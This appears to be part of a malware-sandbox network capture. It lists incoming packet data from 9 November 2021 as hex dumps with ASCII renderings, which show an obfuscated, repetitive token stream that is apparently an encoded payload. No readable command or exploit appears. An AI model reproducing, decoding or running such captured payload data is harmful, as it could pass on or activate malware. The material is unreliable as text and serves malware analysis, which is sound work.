x Kt x YR x RY x
2021-11-09 21:21:49 UTC	1069	IN	Data Raw: 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4f 4f 78 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 6b 51 20 78 20 4f 6f 4f 20 78 20 4f 4f 4f 20 78 20 4f 6f 78 20 78 20 4f 4f 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 6f 20 78 20 4f 4f 52 20 78 20 6b 78 20 78 20 52 51 20 78 20 4b Data Ascii: Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x OOx x OxQ x kR x kQ x OoO x OOO x Oox x OOK x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Yo x OOR x kx x RQ x K
2021-11-09 21:21:49 UTC	1073	IN	Data Raw: 51 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 78 45 20 78 20 6b Data Ascii: Q x Oox x Qt x OxE x kK x kO x Kk x OOK x kk x tk x Ooo x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOK x kk x tk x Ooo x OxE x k
2021-11-09 21:21:49 UTC	1077	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 74 20 78 20 59 52 20 78 20 4b 45 20 78 20 4f 4f 74 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Yt x YR x KE x OOt x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x
2021-11-09 21:21:49 UTC	1081	IN	Data Raw: 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 74 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 52 Data Ascii: t x RY x RY x RY x RY x RY x OxE x RY x Rt x RY x RY x tE x Rt x RY x RY x RY x Rt x RY x OxE x tE x RY x RY x OOQ x tt x Rk x RY x RY x RY x RY x RY x Kt x OOQ x RY x RY x Kt x OOQ x RY x RY x RY x kx x Kt x Kt x RY x kx x YR x RY x RY x RY x Rk x Kt x R
2021-11-09 21:21:49 UTC	1085	IN	Data Raw: 45 20 78 20 6b 51 20 78 20 4f 78 78 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 74 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 6f 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b 45 20 78 20 6b 51 20 78 20 6b 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 45 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b 45 20 78 20 6b 51 20 78 20 6b 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 45 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b Data Ascii: E x kQ x Oxx x OOY x RY x kx x tQ x tx x Qt x OxE x Rk x Yo x OxK x kt x OOO x RY x KE x kQ x kR x OOE x RY x kx x OxQ x tx x Qt x OxE x Rk x YE x OxK x kt x OOO x RY x KE x kQ x kR x OOE x RY x kx x OxQ x tx x Qt x OxE x Rk x YE x OxK x kt x OOO x RY x K
2021-11-09 21:21:49 UTC	1089	IN	Data Raw: 20 78 20 4f 78 59 20 78 20 74 6f 20 78 20 52 51 20 78 20 6b 78 20 78 20 4f 4f 6f 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 74 6f 20 78 20 4f 4f 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 74 6f 20 78 20 6b 6b 20 78 20 4f 4f 78 20 78 20 4b 74 20 78 20 4f 4f 6f 20 78 20 4f 78 59 20 78 20 4f 78 59 20 78 20 52 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 74 20 78 20 4f 78 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 78 52 20 78 20 74 45 20 78 20 6b 6b 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 74 78 20 78 20 59 52 20 78 20 4b 74 20 78 20 59 45 20 78 20 51 78 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 78 6f 20 78 20 4b Data Ascii: x OxY x to x RQ x kx x OOo x Rk x kO x kY x to x OOo x OxE x RY x RY x RY x Rt x Yx x OxK x to x kk x OOx x Kt x OOo x OxY x OxY x Rt x Kt x YK x tt x Oxt x Oxo x Kt x KE x OxR x tE x kk x Ooo x Kt x OOO x OoO x tx x YR x Kt x YE x Qx x Qt x tK x Oxo x K
2021-11-09 21:21:49 UTC	1093	IN	Data Raw: 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 74 74 20 78 20 6b 6b 20 78 20 6b 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 6f 20 78 20 59 59 20 78 20 6b 78 20 78 20 6b 6b 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 78 78 20 78 20 59 59 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 59 20 78 20 4b 45 20 78 20 4b 6b 20 78 20 4f 78 45 20 78 20 6b 78 20 78 20 59 74 20 78 20 59 4b 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 51 6b 20 78 20 52 51 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4f 6f 4f 20 Data Ascii: x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOk x tt x kk x kY x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOo x YY x kx x kk x Kt x KQ x Oxx x YY x OOQ x Kt x YY x KE x Kk x OxE x kx x Yt x YK x Qx x OxE x OOk x Kt x Qk x RQ x OOO x YK x Kt x OoO
2021-11-09 21:21:49 UTC	1096	IN	Data Raw: 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 45 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 74 52 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 59 74 20 78 20 74 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 6b 78 20 78 20 4b 74 20 78 20 6b 52 20 78 20 59 4f 20 78 20 4f 4f 6b 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 78 78 20 78 20 59 59 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 6b 78 20 78 20 4b 74 20 78 20 6b 52 20 78 20 59 4f 20 78 20 4f 4f Data Ascii: Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x KE x OOK x OxY x kO x tR x Kt x Ooo x Yt x to x kx x Kt x Yt x kk x OxO x YR x kx x Kt x kR x YO x OOk x Rk x Kt x KQ x Oxx x YY x OOQ x Kt x Yt x kk x OxO x YR x kx x Kt x kR x YO x OO
2021-11-09 21:21:49 UTC	1101	IN	Data Raw: 78 20 4f 4f 4f 20 78 20 6b 51 20 78 20 6b 59 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 4f 20 78 20 52 74 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 4f 4f 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 4b 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20 4f 4f 51 20 78 20 4f 4f 4b 20 78 20 4f 78 4b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 Data Ascii: x OOO x kQ x kY x kt x Kt x YK x tO x Rt x RR x OOk x Yt x OOO x kY x RY x tR x OxK x tK x OxY x tE x RY x kx x OOY x OOQ x OOK x OxK x OOk x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOK x Kt x KE x OOk x Kt x Yt x Kt x Kt x Ooo x Kt x
2021-11-09 21:21:49 UTC	1105	IN	Data Raw: 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 Data Ascii: k x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x Yt x Kt x Kt x Ooo x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt
2021-11-09 21:21:49 UTC	1109	IN	Data Raw: 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 74 4b 20 78 20 74 6f 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 6b 20 78 20 4f 78 4f 20 78 20 6b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 74 52 20 78 20 4f 4f 6f 20 78 20 74 52 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 74 20 78 20 51 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 4f 4f 4b 20 78 20 4f 78 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4f 4f 52 20 78 20 74 4b 20 78 20 4f 4f 4f 20 78 20 59 4f 20 78 20 4b 74 20 78 20 59 59 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 52 20 78 20 Data Ascii: x Kt x Kt x RY x YO x Oxk x OOk x Kt x OOR x tk x tK x to x Kt x YR x Rk x OxO x kt x Kt x Kt x RY x YO x Oxk x OOk x Kt x OOQ x tR x OOo x tR x Kt x YR x Rt x Qt x tQ x Kt x Kt x RY x OOK x Oxt x Oxo x Kt x OOR x tK x OOO x YO x Kt x YY x kE x tO x tR x
2021-11-09 21:21:49 UTC	1113	IN	Data Raw: 78 20 59 59 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 4b 20 78 20 4f 4f 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 6b 20 78 20 51 51 20 78 20 59 59 20 78 20 4b 74 20 78 20 51 78 20 78 20 52 51 20 78 20 4b 6b 20 78 20 74 45 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 74 6f 20 78 20 59 74 20 78 20 74 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 74 78 20 78 20 6b 52 20 78 20 4f 78 74 20 78 20 4b 51 20 78 20 6b 45 20 78 20 52 59 20 78 20 4b 74 20 78 20 59 45 20 78 20 74 4b 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 74 78 20 78 20 4f 78 74 20 78 20 59 45 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 51 6b 20 78 20 59 78 20 78 Data Ascii: x YY x YO x Kt x KE x OOK x OOt x Yt x Kt x Kt x kx x Kk x QQ x YY x Kt x Qx x RQ x Kk x tE x Yt x OxR x OOY x Qx x to x Yt x tt x Rk x RY x kO x tx x kR x Oxt x KQ x kE x RY x Kt x YE x tK x kK x OxE x Oxo x Kt x tx x Oxt x YE x kx x Kt x OOQ x Qk x Yx x
2021-11-09 21:21:49 UTC	1117	IN	Data Raw: 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 Data Ascii: x KE x Ooo x QQ x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x OxE x Kt x KE x Ooo x Qk x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x Oxo x Kt x KE x Ooo x Qk x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x OxE x Kt x
2021-11-09 21:21:49 UTC	1121	IN	Data Raw: 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 4b 20 78 20 4f 4f 78 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 Data Ascii: x RQ x tt x RY x Oxx x RY x RR x OoO x RY x tO x OOQ x RY x tY x OOQ x RR x kK x RY x RY x RY x RY x RY x RY x RR x tK x OOx x Rt x kQ x RY x kY x RY x RR x OoO x RY x tO x YR x RY x QQ x RY x RR x Oxk x RY x to x tE x RY x Oxx x RY x RR x OOo x RY x tO x
2021-11-09 21:21:49 UTC	1125	IN	Data Raw: 20 51 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 51 20 78 20 4f 4f 78 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 74 45 20 78 Data Ascii: QQ x OOQ x RY x tK x RY x RQ x tt x RY x Oxx x RY x RR x OoO x RY x tO x OOQ x RY x tY x OOQ x RR x kO x RY x tO x OOQ x RY x Oxx x kO x RR x Ooo x RY x RY x RY x RY x RY x RY x RR x kQ x OOx x RQ x RQ x RY x Oxx x kO x RR x Kk x RY x tO x YR x RY x tE x
2021-11-09 21:21:49 UTC	1128	IN	Data Raw: 20 78 20 4f 4f 78 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 74 20 78 20 4f Data Ascii: x OOx x RQ x tt x RY x Qt x RY x RR x OOk x RY x tO x YR x RY x QQ x OOQ x RR x Oxk x RY x Rt x RY x RY x kO x OOQ x RR x OOk x RY x tO x OOQ x RY x Oxx x kO x RR x OOR x RY x Rt x kQ x RY x Qk x OxE x RR x Ooo x RY x RY x RY x RY x RY x RY x RR x tt x O
2021-11-09 21:21:49 UTC	1133	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 4f 4f 4b 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 Data Ascii: x RY x RY x Oxk x RY x RY x RY x RY x RY x RY x RR x OOQ x RY x tO x RY x kx x YR x RY x Rt x kO x Rk x OOK x RY x Kt x Kt x Kt x OxE x OxE x RR x kY x RY x tO x OxE x RY x Qx x kO x RY x OxE x RY x tO x kQ x RY x Qk x OOQ x RR x OOY x RY x tO x OOQ x RY
2021-11-09 21:21:49 UTC	1137	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 6b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4b 20 78 20 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 51 6b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Oxk x RY x to x RY x RR x OOQ x RY x kt x OOQ x RY x tK x RY x tQ x YR x Rk x RY x RY x Rk x Kt x Kt x Yo x tE x RY x kO x OOQ x RR x OOk x RY x tO x Kk x RY x Qk x kO x RR x OxK x RY x
2021-11-09 21:21:49 UTC	1141	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 52 20 78 20 6b 59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 6b 74 20 78 20 52 59 20 78 20 52 52 20 78 20 74 52 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4b 45 20 78 20 4f 78 45 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x OxE x RY x Rt x RR x kY x tO x OxE x RR x kt x RY x RR x tR x RY x RY x OOQ x RY x KE x OxE x tt x RY x RY x kx x Kt x Kt x OxE x kO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
